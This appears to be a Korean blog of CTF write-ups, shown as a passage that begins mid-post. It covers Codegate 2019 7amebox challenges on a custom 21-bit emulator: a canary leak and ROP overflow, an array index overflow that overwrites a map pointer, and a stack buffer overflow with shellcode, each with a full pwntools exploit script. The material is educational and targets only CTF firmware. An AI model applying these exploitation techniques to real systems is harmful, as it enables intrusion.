모든 함수의 끝에서 r9에 저장해놓은 값과 [bp-0x3]에 저장된 값을 비교하는 stack 보호 기법이 있다.

따라서 이 값을 leak해야하는데, 0x59003에 canary가 저장된 주소를 쓸 수 있다면 list에서 leak이 가능할 것 같았다.

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;
    ...
        print(load_diary_0x6b4(i));
        print('\n');
    ...
}

문제는 말하자면 전역변수 공간인 0x59000보다 앞에 있는 주소에 diary를 할당받아야 overwrite가 가능한데, 새로운 메모리를 할당해주는 로직은 다음과 같다.

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

할당받을 주소를 전달하지 않으면 for page, perm in self.pages.items()를 통해서 pages를 순회하며 mapping이 되지 않은 공간을 return해준다. 이 때 python 2.7 버전에서는 dictionary를 랜덤한 순서로 순회하므로 0x59000보다 낮은 공간이 할당될 때까지 write를 하면 된다.

allocate에 후킹을 걸어서 할당된 메모리를 출력해본 결과 다행히 두번째만에 0x59000보다 낮은 공간이 할당되었다.

addr : 0xc4000
new perm : 0b1110
addr : 0x1c000
new perm : 0b1110

따라서 할당받은 0x1c000의 key 주소로부터 diary_ptr이 저장되는 0x59003까지의 offset을 계산해서 다음과 같이 payload를 작성하면 leak이 가능하다.

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

Stack Overflow

이제 canary를 포함해서 stack의 return address를 덮으면 pc 컨트롤이 가능하다.

다만 read_0x60f를 호출해서 입력을 받는데 이 함수에도 canary가 있으므로 이를 유의해서 payload를 작성해야 한다.

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)                  # canary of read_0x60f
    payload += b"flag\x00\x00"
    payload += p21(canary)                  # canary of write_0x1f0

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_diary.py"
key_addr = 0x1c000 + 0x4ec
data_addr = 0x59000
ret_addr = 0xf5fce
canary_addr = 0xf5fc8
read_canary_addr = 0xf5fb6

bp = {
    'list' : 0x12e,
    'end_of_list' : 0x1ee,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    print(s.recv())
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recv()

def write(s, title, contents, key):
    s.sendline(b"2")
    s.recvuntil(b"title>")
    s.sendline(title)
    s.recvuntil(b">")
    s.sendline(contents)
    s.sendline(key)
    return s.recv()

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
    # print(set_bp(s, bp['end_of_list']))
    s.recv()

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)
    payload += b"flag\x00\x00"
    payload += p21(canary)
    # open("flag") => r0 = 1, r1 = "flag"
    payload += p21(0x609)                   # ret
    payload += p21(read_canary_addr + 3)    # pop r1
    payload += p21(0x1)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x2)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x3)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x1)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x2)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    print(write(s, b"CCCC", b"\xff", payload))     # 0x3a000

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *string_0x6c3 = "====================================================\
              |                   SECRET_DIARY                   |\
              ====================================================\
              |                   ___________                    |\
              |                  |     _     |                   |\
              |                  |    (_)    |                   |\
              |                  |   |   |   |                   |\
              |                  |   |___|   |                   |\
              |                  |___________|                   |\
              ----------------------------------------------------";

int count_0x59000 = 0;
struct diary *diary_ptr_0x59003[9];

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;

    print("YOUR DIARY");
    print("----------------------------------------------------");
    for(i=1; i<count_0x59000; i++) {
        tmp[0] = i + 0x30;      // '1'
        tmp[1] = 0x29;          // ')'
        print(tmp);

        print(load_diary_0x6b4(i));
        print('\n');
    }
    print("----------------------------------------------------");

    stack_chk_fail();
    return;
}         

void write_0x1f0() {
    struct diary *diary;
    int canary;
    int r0, r8;

    if(count_0x59000 > 9) {
        print("no you can't. (max : 9)");
        goto _0x303;
    }
    count_0x59000++;

    diary = mprotect(O_READ | O_WRITE);
    diary_ptr_0x59003[count_0x59000] = diary;

    print("title>");
    r0 = read(diary, 30);
    diary->title[r0] = "\x00";

    print("content, secret key (same length)\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    read(diary->key, r0);   // read(diary->key, 0x7f7f7f);

    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];
_0x303:
    stack_chk_fail();
    return;
}

void show_0x319() {
    char buf[1200];         // 0xf5b12
    struct diary *diary;    // 0xf5fc2
    int choice;             // 0xf5fc5
    int canary;             // 0xf5fc8
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x43c;
    
    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x43c;

    diary = load_diary_0x6b4(r0);
    print("----------------------------------------------------");
    print("TITLE :");
    print(diary->title);
    print("\n");
    print("----------------------------------------------------");

    memcpy_0x5d9(buf, diary->contents, 1200);

    for(r8=0; r8<1200; r8++)
        buf[r8] = buf[r8] ^ diary->key[r8];
    
    print(buf);
    print("\n");
    print("----------------------------------------------------");

_0x43c:
    stack_chk_fail();
    return;
}

void edit_0x452() {
    struct diary *diary;
    int choice;
    int canary;
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x587;

    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x587;

    diary = load_diary_0x6b4(r0);
    print("title>");
    read(diary->title, 30);
    diary->title[r0] = "\x00";

    print("content\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    print("secret key\n>");
    print(diary->key);
    print("\n");
    
    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];

_0x587:
    stack_chk_fail();
    return;
}


void exit_0x23() {
    _exit();
}

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list2) write3) show4) edit5) quit");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}

Codegate CTF 2019 - 7amebox-tiny_adventure

2024-07-29T00:00:00+00:00

0x00. Introduction

기본적인 구조는 7amebox-name과 동일하다.

➜  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:48 ..
-rw-r--r--  1 user user   579 Jul 17 03:06 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:06 _7amebox_patched.py
-rw-r--r--  1 user user    41 Jul 17 03:06 flag
-rwxr-xr-x  1 user user    21 Jul 17 03:06 run.sh
-rw-r--r--  1 user user  3600 Jul 17 03:06 stage.map
-rw-r--r--  1 user user  3721 Jul 17 03:06 tiny_adventure.firm
-rwxr-xr-x  1 user user   371 Jul 17 03:06 vm_tiny.py

Global variables

int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

Concept

1) show current map
2) buy a dog
3) sell a dog
4) direction help
w a s d) move to direction
>1
-------------------------------------------------
* (\x2a)      = power up
# (\x23)      = wall
@ (\x40)      = you
a ~ y         = monster
z             = boss monster (flag)
-------------------------------------------------

##############################################################
#@                                                           #
#                                     a  f                   #
#                                                            #
#   v            z                                           #
#                     i            p                         #
                            ...                              
##############################################################

stage.map 파일을 읽어 메모리에 로드한 후 w, a, s, d를 통해 움직이다가 monster를 잡으면 생성되는 *을 획득해서 power up을 한다. 이 외에도 취약점 트리거를 위한 buy_dug, sell_dog 메뉴가 있다.

Goal

void move_0x383(char choice) {
    ...
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
    ...
}

stage.map에 있는 z를 만날 경우 boss 스테이지가 열리고, hp는 사실상 관계 없이 power만 0x2bc보다 크거나 같으면 flag를 출력해준다.

하지만 map에 있는 모든 monster를 잡아도 power 값을 0x2bc보다 크게 만들 수 없기 때문에 exploit 방향을 map의 정보를 조작하는 것으로 잡았다.

0x01. Vulnerability

Firmware 실행 후 처음 실행되는 load_map_0x103() 함수에서 다음과 같은 전역변수 초기화가 이루어진다.

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

이 중 dog_avatar_0x1003은 다음과 같이 활용된다.

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

syscall을 통해서 메모리 할당이 성공하면 dog_count_0x1000이 증가하고 해당 index에 할당된 메모리 영역 주소를 쓴다.

그런데 dog_count_0x1000의 boundary check를 하지 않기 때문에 값이 0x101이 될 경우 dog_avatar_0x1003 배열 뒤에 있는 map_0x1303에 값을 쓸 수 있게 된다. map_0x1303에는 stage.map의 내용을 읽어 저장한 메모리 주소가 담겨있기 때문에 이를 조작할 경우 map 정보를 조작할 수 있다. 게다가 avatar를 그린다는 명목으로 할당받은 메모리에 값을 0x1000만큼 쓸 수 있어서 map의 내용도 마음대로 조작할 수 있다.

[*] allocating 0xfa-th page
addr : 0x17000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfb-th page
addr : 0x78000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfc-th page
you already have too many dogs!

문제는 0xfb번만 할당이 되고 실패했는데 이유를 확인해보니,

gef > mmap
0x0     : r-x
0x1000  : rw-
0x59000 : rw-
0xf4000 : rw-
0xf5000 : rw-

이미 할당되어있는 page가 있고 emulator에서 0x0 ~ 0xff000영역만 할당 가능한 영역으로 저장하기 때문이었다.

class Memory:
    def __init__(self, size):
        self.memory = [0 for i in range(size)]
        self.pages = {}
        for page in range(0, size, 0x1000):
            self.pages[page] = 0
...
class EMU:
    def __init__(self):
        ...
        self.memory     = Memory(2 ** 20)   # 0x100000
        ...

따라서 index 역할을 하는 dog_count_0x1000 값을 0xfb에서 0x101까지 다른 취약점을 이용해서 증가시켜야하는데, sell_count_0x1306 값이 딱 그 차이인 0x6이므로 sell_dog_0x304()를 활용해야 한다는 합리적인 추론을 해볼 수 있다.

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

하지만 sell_dog_0x304()의 코드를 보면 unmapping할 주소가 0x100000보다 작으면 syscall을 호출할 수 없다. 그런데 동적 분석을 할 때 AAAA를 입력했더니 unmapping이 성공한 기억이 있어 emulator 코드를 확인해보았다.

class EMU:
    ...
    def sys_s6(self):   # munmap
        addr = self.register.get_register('r1') & 0b111111111000000000000
        self.memory.set_perm(addr, 0b0000)
    ...
class Memory:
    ...
    def set_perm(self, addr, perm):
        self.pages[addr & 0b111111111000000000000] = perm & 0b1111
    ...

Emulator에서 sys_s6()이 호출되면 Memory 객체의 set_perm() 함수를 통해 page의 권한을 0b0000으로 만들어버린다. 그런데 이 과정에서 해당 page가 존재하는지 확인하지 않고 권한을 입력하는데, python의 dictionary에서 존재하지 않는 key에 값을 입력하면 key-value 쌍을 생성해서 저장한다.

따라서 존재하지 않는 영역인 AAAA 영역도 unmapping이 가능했고, 이 영역이 pages dictionary에 저장되므로 할당도 가능하다. 물론 할당 이후 값을 쓰거나 읽으려고 하면 memory size를 넘어가므로 에러가 난다. 하지만 dog_count_0x1000를 증가시키는 것이 목적이므로 munmap -> map을 6번 수행하고 write가 가능한 영역에 map 정보를 쓰면 된다.

0x02. Exploit

Emulator가 메모리를 할당해주는 과정은 다음과 같다.

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

이렇게 addr이 정해지지 않았을 때, pages dictionary를 순회하며 PERM_MAPPED 권한이 없는 page를 return해준다.

python 2.7에서는 dictionary를 순회할 때 랜덤한 순서로 순회하는데다, 값을 이후에 추가한다고 하더라도 순서가 맨 뒤에 오는 것이 아니라 중간에 낄 수도 있다.

# Python 2.7.18
>>> a = {"A" : 1, "B" : 2, "C" : 3, "D" : 4}
>>> for key in a:
...     print key,
... 
A C B D
>>> a["E"] = 5
>>> for key in a:
...     print key,
... 
A C B E D

따라서 Memory 객체의 pages dictionary에 key-value 값을 추가한다면 높은 확률로 중간에 key가 삽입될 것이다. 실제로 emulator가 pages dictionary를 생성하고 unmapping을 하는 과정을 따라해보면 다음과 같은 결과를 얻을 수 있다.

>>> pages = {}
>>> for page in range(0, 2 ** 20, 0x1000):                      # Memory.__init__()
...     pages[page] = 0
... 
>>> pages[0x100000] = 0                                         # Memory.set_perm()
>>> for index, (page, perm) in enumerate(pages.items()):        # Memory.allocate()
...     if page == 0x100000:
...         print "page 0x100000 is at %d-th index" % index
... 
page 0x100000 is at 98-th index
>>> print "last page %s is at %d-th index" % (hex(page), index)
last page 0x78000 is at 256-th index

따라서 마지막 page인 0x78000 영역을 남겨놓고 모든 영역을 할당하기 위해 다음과 같이 payload를 구성했다.

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

이러면 dog_count_0x1000는 0xfa까지 증가했을 것이고, sell_dog_0x304()를 이용하여 0x6만큼 더 증가시키는 방식은 다음과 같다.

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

마지막으로 남은 0x78000 메모리를 할당받으면 마침내 dog_count_0x1000는 0x101이 되면서 map_0x1303이 0x78000으로 덮이게 된다.

이제 avatar를 그리기 위해 입력하는 값이 그대로 map 정보가 되므로, 나의 위치와 boss를 제외한 map을 모두 power up을 의미하는 *으로 채워넣기 위한 payload는 다음과 같다.

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

이제 남은 것은 충분히 power를 늘려서 boss와 싸우는 것인데, boss를 이기기 위한 조건은 power가 0x2bc보다 크거나 같은 것이고 power up을 하면 power가 0x5만큼 증가하므로, 최소 121번의 power up이 필요하다 현재 map의 모든 자리가 *으로 채워져있으므로 어디로든 121번 전에 이동한 적이 없는 곳으로 이동하면 된다.

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_tiny.py"

bp = {
    'read_of_sell_dog' : 0x341,
    'direction_help' : 0xbf,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    s.recv()
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def buy_dog(s, draw, avatar=""):
    s.sendline(b"2")
    print(s.recvuntil(b">").decode())
    s.sendline(draw)
    if draw == b'y':
        s.sendline(avatar)
    return s.recvuntil(b">")

def sell_dog(s, addr):
    s.sendline(b"3")
    s.recvuntil(b">")
    if type(addr) == bytes:
        s.sendline(addr)
    else:
        s.sendline(p21(addr))
    return s.recvuntil(b">")

def move(s, direction):
    s.sendline(direction)
    return s.recvuntil(b">")

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
        print(set_bp(s, bp['direction_help']).decode())
    s.recvuntil(b">")

    for i in range(0xfa):
        log.info(f"buying : {hex(i + 1)} / 0xfa")
        buy_dog(s, b"n")

    for i in range(6):
        log.info(f"selling and buying : {hex(i + 1)} / 0x6")
        sell_dog(s, 0x100000)
        buy_dog(s, b"n")

    payload = b"@"
    payload += b"*" * 3598
    payload += b"z"
    buy_dog(s, b"y", payload)

    for i in range(2):
        for j in range(60):
            log.info(f"farming...")
            move(s, b"d")
        move(s, b"s")
    move(s, b"w")
    move(s, b"w")
    move(s, b"w")
    move(s, b"a")
    
    log.info(f"fight!!!")
    s.sendline(b"1")
    print(s.recvuntil(b"}").split(b"\n")[-1])

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *str_0x6e2 = "====================================================\
                |                PWN ADVENTURE V8.6                |\
                ====================================================\
                |               __                                 |\
                |             _|^ |________                        |\
                |            (____|        |___                    |\
                |                 |________|                       |\
                |                  | |   | |                       |\
                |                                                  |\
                ----------------------------------------------------";
char *str_0xc66 = "====================================================\
                |                  YOU WERE DEAD!                  |\
                ====================================================\
                | HP : 0                                           |\
                |                                                  |\
                |                                                  |\
                |                       ...                        |\
                |                       ___                        |\
                |                      |___|                       |\
                ----------------------------------------------------";
char *str_0x6a5 = "   direction\
                 ________________________________\
                |          W : north             |\
                | A : west             D : east  |\
                |          S : south             |\
                |________________________________|";
char *str_0x9c5 = "-------------------------------------------------\
                * (\x2a)      = power up\
                # (\x23)      = wall\
                @ (\x40)      = you\
                a ~ y         = monster\
                z             = boss monster (flag)\
                -------------------------------------------------";
int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

int read_0x669(int r0, int r1) {
    syscall(0x3, 0x0, r0, r1);  // read(stdin, r0, r1);
}

void memset_0x61b(int *addr, char value, int len) {
    for(int i=0; i<len; i++)
        *(addr + i) = value;
}

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

int hp_check_0x1af() {
    int r0;
    r0 = hp_0x1309;

    if(r0 <= 0) {
        print(str_0xc66);
        r0 = 0;
        goto _0x1e0;
    }
    r0 = 1;
_0x1e0:
    return;
}

void show_map_0x1e6() {
    int r0;

    print_0x6a5(str_0x9c5);
    print_0x6a5("##############################################################");
    r0 = map_0x1303;
    for(int i=0; i<60; i++) {
        write_0x687(1, "#");
        write_0x687(60, r0 + 60 * i);
        write_0x687(1, "#");
    }
    print_0x6a5("##############################################################");
}

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

void move_0x383(char choice) {
    char *new_loc;  // 0xf5fbf
    int map;        // 0xf5fc2
    int choice;     // 0xf5fc5
    char tmp[3];    // 0xf5fc8
    int r0, met, r8, r9;
    char *r5;

    tmp[0] = choice;
    r0 = *map_0x1303;
    map = r0;
    r8 = x_0x130f;
    r9 = y_0x1312;

    r5 = r0 + x_0x130f + y_0x1312 * 60;
    if(*r5 == '@')
        *r5 = ' ';
    if(tmp[0] == 'w')
        y_0x1312 = (y_0x1312 - 1) % 60;
    else if(tmp[0] == 'a')
        x_0x130f = (x_0x130f - 1) % 60;
    else if(tmp[0] == 's')
        y_0x1312 = (y_0x1312 + 1) % 60;
    else
        x_0x130f = (x_0x130f + 1) % 60;

    new_loc = map + x_0x130f + y_0x1312 * 60;
    met = *(new_loc);
    *(new_loc) = '@';
    if(met == ' ')
        goto _0x59f_return;
    else if(met == '*')
        goto _0x505_power_up;
    else if(met == 'z')
        goto _0x534_boss;
    else if(met < 'a' || met > 'z')
        goto _0x59f_return;
    print_0x6a5("you met a monster\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);
    if(hp_0x1309 < 30)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 30;

    if(met > power_0x130c) {
        *(new_loc) = met;
        goto _0x59f_return;
    }
    *(new_loc) = '*';
    goto _0x59f_return;

_0x505_power_up:
    hp_0x1309 += 40;
    power_0x130c += 5;
    print_0x6a5("power up!");
    goto _0x59f_return;
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
_0x59f_return:
    return;
}

void flag_0x5bf() {
    char buf[60];
    int r0;
    memset_0x61b(buf, 0, 60);

    r0 = syscall(0x1, 0xe7a);    // open("flag");
    syscall(0x3, r0, buf, 60);   // read(fd, buf, 60);
    print_0x6a5(buf);

    syscall(0x0);                // exit(0);
    return;
}

void main() {
    int choice;
    int ;
    int r0;

    print_0x6a5(str_0x6e2);
    
    load_map_0x103();
    while(hp_check_0x1af() != 0) {
        print_0x6a5("1) show current map\n2) buy a dog\n3) sell a dog\n4) direction help\nw a s d) move to direction\n>");
        choice = 0;
        read_0x669(choice, 0x3);
        if(choice == '1')
            show_map_0x1e6();
        else if(choice == '2')
            buy_dog_0x25c();
        else if(choice == '3')
            sell_dog_0x304();
        else if(choice == '4')
            print_0x6a5(str_0x6a5);
        else if(choice == 'w')
            move_0x383(choice);
        else if(choice == 'a')
            move_0x383(choice);
        else if(choice == 's')
            move_0x383(choice);
        else if(choice == 'd')
            move_0x383(choice);
    }
_0xfd:
    return;
}

Codegate CTF 2019 Quals - 7amebox-name

2024-07-25T00:00:00+00:00

0x00. Introduction

➜  ls -al
total 60
drwxr-xr-x  2 user user  4096 Jul 30 08:49 .
drwxr-x--- 25 user user  4096 Jul 30 08:49 ..
-rw-r--r--  1 user user   533 Jul 17 03:05 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:05 _7amebox_patched.py
-rw-r--r--  1 user user    41 Jul 17 03:05 flag
-rw-r--r--  1 user user   216 Jul 17 03:05 mic_check.firm
-rw-r--r--  1 user user    21 Jul 17 03:05 run.sh
-rwxr-xr-x  1 user user   299 Jul 17 03:05 vm_name.py

run.sh로 vm_name.py를 실행하면 _7amebox_patched.py에 구현된 emulator로 mic_check.firm을 실행하는 구조이다.

def read_memory_tri(self, addr, count):
    ...
        for i in range(count):
            tri = 0
            tri |= self.memory[addr + i*3]
            tri |= self.memory[addr + i*3 + 1]  << 14
            tri |= self.memory[addr + i*3 + 2]  << 7
            res.append(tri)
    ...

def write_memory_tri(self,addr,data_list, count):
    ...
        for i in range(count):
            self.memory[addr + i*3] =       (data_list[i] & 0b000000000000001111111)
            self.memory[addr + i*3 + 1] =   (data_list[i] & 0b111111100000000000000) >> 14
            self.memory[addr + i*3 + 2] =   (data_list[i] & 0b000000011111110000000) >> 7
    ...

byte가 7bit, word가 3byte인 emulator에서 firmware의 취약점을 찾고 exploit을 해야한다.

0x01. Vulnerability

main:
     0x9:  19 30           push bp
     0xb:  11 3c           mov bp, sp
     0xd:  2f 40 3c 00 00  sub sp, 0x3c
    0x12:  10 5b           mov r5, bp
    0x14:  2e 50 03 00 00  sub r5, 0x3
    0x19:  12 60 45 04 46  mov r6, 0x12345
    0x1e:  08 65           str r6, [r5] ; [r5] = r6
    0x20:  12 00 4d 00 01  mov r0, 0xcd         ; "name>"
    0x25:  7b 50 66 00 00  call pc + 0x66       ; write
    0x2a:  12 10 42 00 00  mov r1, 0x42
    0x2f:  10 5b           mov r5, bp
    0x31:  2e 50 3c 00 00  sub r5, 0x3c
    0x36:  10 05           mov r0, r5
    0x38:  7b 50 23 00 00  call pc + 0x23       ; read
    0x3d:  12 00 53 00 01  mov r0, 0xd3
    0x42:  7b 50 49 00 00  call pc + 0x49       ; strlen
    0x47:  10 5b           mov r5, bp
    0x49:  2e 50 03 00 00  sub r5, 0x3
    0x4e:  00 65           ldr r6, [r5] ; r6 = [r5]
    0x50:  5e 60 45 04 46  cmp r6, 0x12345
    0x55:  73 50 2b 7f 7f  je pc + 0x1fffab ; jne if A == B ; not FLAG_ZF       ; stack_chk_fail
    0x5a:  11 4b           mov sp, bp
    0x5c:  1d 30           pop bp
    0x5e:  1d 50           pop pc

firmware 이름이 mic_check인 만큼 취약점은 단순하다. bp-0x3c위치에 0x42만큼 read를 하기 때문에 BOF가 발생한다.

다만 SFP 위에 canary 값인 0x12345를 신경써서 값을 써야한다.

0x02. Exploit

NX가 꺼져있는 환경이므로 stack에 shellcode를 구성해서 payload를 작성했다.

    payload = b"\x54\x00"                   # xor r0, r0
    payload += b"\x44\x00"                  # inc r0
    payload += b"\x10\x1c"                  # mov r1, sp
    payload += b"\x2e\x10\x0e\x00\x00"      # sub r1, 0xe
    payload += b"\x20\x00"                  # syscall   ; open("flag") ; r0 = 2
